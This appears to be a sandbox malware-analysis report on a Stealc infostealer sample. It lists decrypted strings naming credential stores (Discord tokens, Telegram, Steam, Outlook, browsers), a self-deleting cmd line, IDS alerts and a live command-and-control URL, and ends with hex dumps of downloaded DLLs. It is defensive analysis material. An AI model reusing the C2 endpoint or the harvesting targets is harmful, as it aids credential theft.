Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.480000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.480000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.480000.0.unpack	String decryptor: open
Source: 0.2.file.exe.480000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.480000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.480000.0.unpack	String decryptor: files
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.480000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.480000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.480000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.480000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.480000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.480000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.480000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.480000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.480000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.480000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.480000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.480000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.480000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.480000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.480000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.480000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.480000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.480000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.480000.0.unpack	String decryptor: done
Source: 0.2.file.exe.480000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.480000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.480000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.480000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.480000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.480000.0.unpack	String decryptor: https
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.480000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.480000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.480000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.480000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.480000.0.unpack	String decryptor: build
Source: 0.2.file.exe.480000.0.unpack	String decryptor: token
Source: 0.2.file.exe.480000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.480000.0.unpack	String decryptor: file
Source: 0.2.file.exe.480000.0.unpack	String decryptor: message
Source: 0.2.file.exe.480000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.480000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694440 PK11_PrivDecrypt,	0_2_6C694440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C664420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6944C0 PK11_PubEncrypt,	0_2_6C6944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6E25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C678670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C69A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6BA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6C0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6B7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C677D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6BBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6B9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693FF0 PK11_PrivDecryptPKCS1,	0_2_6C693FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C699840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C6BDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49959 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2085744423.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2085552538.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1676707184.0000000004EBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2085552538.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1676707184.0000000004EBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2085744423.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 19:13:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 19:13:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 19:13:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 